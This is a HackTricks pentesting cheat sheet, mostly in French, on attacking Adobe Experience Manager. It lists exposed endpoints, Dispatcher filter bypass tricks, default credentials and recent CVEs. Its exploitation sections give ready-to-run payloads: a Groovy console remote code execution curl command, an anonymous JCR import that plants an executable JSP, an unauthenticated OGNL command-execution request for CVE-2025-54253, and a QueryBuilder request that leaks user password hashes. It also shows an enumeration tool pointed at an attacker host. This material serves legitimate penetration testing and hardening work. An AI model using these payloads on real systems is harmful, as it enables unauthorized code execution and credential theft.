AEM (Adobe Experience Manager) Pentesting

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) est un CMS d’entreprise qui s’exĂ©cute sur Apache Sling/Felix (OSGi) et un Java Content Repository (JCR). Du point de vue d’un attaquant, les instances AEM exposent trĂšs souvent des dangerous development endpoints, des rĂšgles Dispatcher faibles, des default credentials et une longue traĂźne de CVEs qui sont patchĂ©es chaque trimestre.

La checklist ci-dessous se concentre sur externally reachable (unauth) attack surface qui revient fréquemment dans des engagements réels (2022-2026).


1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

Autres indicateurs rapides :

  • /etc.clientlibs/ static path present (retourne JS/CSS).
  • /libs/granite/core/content/login.html page de connexion avec la banniĂšre “Adobe Experience Manager”.
  • </script><!--/* CQ */--> commentaire en bas du HTML.

2. High-value unauthenticated endpoints

PathWhat you getNotes
/.json, /.1.jsonnƓuds JCR via DefaultGetServletSouvent bloquĂ©, mais le Dispatcher bypass (voir ci‑dessous) fonctionne.
/bin/querybuilder.json?path=/QueryBuilder APILeak de l’arborescence des pages, des chemins internes, et des noms d’utilisateur.
/system/console/status-*, /system/console/bundlesOSGi/Felix console403 par dĂ©faut ; si exposĂ© et creds dĂ©couverts ⇒ bundle-upload RCE.
/crx/packmgr/index.jspPackage ManagerPermet Ă  des utilisateurs authentifiĂ©s d’uploader des content packages → JSP payload upload.
/etc/groovyconsole/**AEM Groovy ConsoleSi exposĂ© → exĂ©cution arbitraire de Groovy / Java.
/libs/cq/AuditlogSearchServlet.jsonAudit logsDivulgation d’informations.
/libs/cq/ui/content/dumplibs.htmlClientLibs dumpvecteur XSS.
/adminui/debugAEM Forms on JEE Struts dev-mode OGNL evaluatorSur des installations Forms mal configurĂ©es (CVE-2025-54253) cet endpoint exĂ©cute de l’OGNL sans authentification → RCE.

Dispatcher bypass tricks (still working in 2025/2026)

La plupart des sites de production sont derriĂšre le Dispatcher (reverse-proxy). Les rĂšgles de filtrage sont frĂ©quemment contournĂ©es en abusant de caractĂšres encodĂ©s ou d’extensions statiques autorisĂ©es.

Classique point-virgule + extension autorisée

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

Encoded slash bypass (2025 KB ka-27832)

GET /%2fbin%2fquerybuilder.json?path=/etc&1_property=jcr:primaryType HTTP/1.1

If the Dispatcher allows encoded slashes, this returns JSON even when /bin is supposedly denied.


3. Configurations erronées courantes (encore présentes en 2026)

  1. Servlet POST anonyme – POST /.json avec :operation=import permet de planter de nouveaux nƓuds JCR. Bloquer les POST vers *.json dans le Dispatcher corrige le problùme.
  2. Profils utilisateurs lisibles par tous – l’ACL par dĂ©faut accorde jcr:read sur /home/users/**/profile/* Ă  tout le monde.
  3. Identifiants par dĂ©faut – admin:admin, author:author, replication:replication.
  4. WCMDebugFilter activĂ© ⇒ XSS rĂ©flĂ©chi via ?debug=layout (CVE-2016-7882, encore trouvĂ© sur des installations legacy 6.4).
  5. Groovy Console exposĂ©e – exĂ©cution de code Ă  distance en envoyant un script Groovy :
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
  1. Faille d’encodage de slash du Dispatcher – /bin/querybuilder.json et /etc/truststore.json accessibles avec %2f/%3B mĂȘme lorsqu’ils sont bloquĂ©s par les filtres de chemin.
  2. AEM Forms Struts devMode laissĂ© activĂ© – /adminui/debug?expression= Ă©value OGNL sans auth (CVE-2025-54253) conduisant Ă  une RCE non authentifiĂ©e ; couplĂ© Ă  XXE dans la soumission Forms (CVE-2025-54254) permet la lecture de fichiers.

4. Vulnérabilités récentes (cadence des service-packs)

QuarterCVE / BulletinAffectedImpact
Dec 2025APSB25-115, CVE-2025-64537/645396.5.24 & earlier, Cloud 2025.12Multiples XSS critiques/storĂ©s → exĂ©cution de code via l’author UI.
Sep 2025APSB25-906.5.23 & earlierContournement de fonctionnalitĂ©s de sĂ©curitĂ© en chaĂźne (Dispatcher auth checker) – mettre Ă  jour vers 6.5.24/Cloud 2025.12.
Aug 2025CVE-2025-54253 / 54254 (AEM Forms JEE)Forms 6.5.23.0 and earlierDevMode OGNL RCE + XXE lecture de fichiers, non authentifié.
Jun 2025APSB25-486.5.23 & earlierStored XSS et élévation de privilÚges dans les composants Communities.
Dec 2024APSB24-69 (rev. Mar 2025 adds CVE-2024-53962
74)6.5.22 & earlierDOM/Stored XSS, exécution de code arbitraire (faibles privilÚges).
Dec 2023APSB23-72≀ 6.5.18XSS cĂŽtĂ© DOM via URL spĂ©cialement construite.

Always check the APSB bulletin matching the customer’s service-pack and push for the latest 6.5.24 (Nov 26, 2025) or Cloud Service 2025.12. AEM Forms on JEE requires its own add-on hotfix 6.5.0-0108+.


5. Extraits d’exploitation

5.1 RCE via contournement du Dispatcher + upload JSP

Si l’écriture anonyme est possible:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

Faites une requĂȘte vers /content/evil.jsp – le JSP s’exĂ©cute avec l’utilisateur du processus AEM.

5.2 SSRF to RCE (historical < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem_ssrf2rce.py from aem-hacker automatise la chaĂźne complĂšte.

5.3 OGNL RCE on AEM Forms JEE (CVE-2025-54253)

# Unauth devMode OGNL to run whoami
curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"

Si vulnérable, le corps HTTP contient la sortie de la commande.

5.4 QueryBuilder hash disclosure (encoded slash bypass)

GET /%2fbin%2fquerybuilder.json?path=/home&type=rep:User&p.hits=full&p.nodedepth=2&p.offset=0 HTTP/1.1

Renvoie les nƓuds utilisateur incluant les rep:password hashes lorsque les ACL de lecture anonymes sont par dĂ©faut.


6. Outils

  • aem-hacker – script Swiss-army d’énumĂ©ration, supporte dispatcher bypass, SSRF detection, default-creds checks et plus.
python3 aem_hacker.py -u https://target --host attacker-ip
  • Tenable WAS plugin 115065 – DĂ©tecte QueryBuilder hash disclosure & encoded-slash bypass automatiquement (publiĂ© Dec 2025).
  • Content brute-force – effectuer des requĂȘtes rĂ©cursives vers /_jcr_content.(json|html) pour dĂ©couvrir des composants cachĂ©s.
  • osgi-infect – upload d’un bundle OSGi malveillant via /system/console/bundles si creds disponibles.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks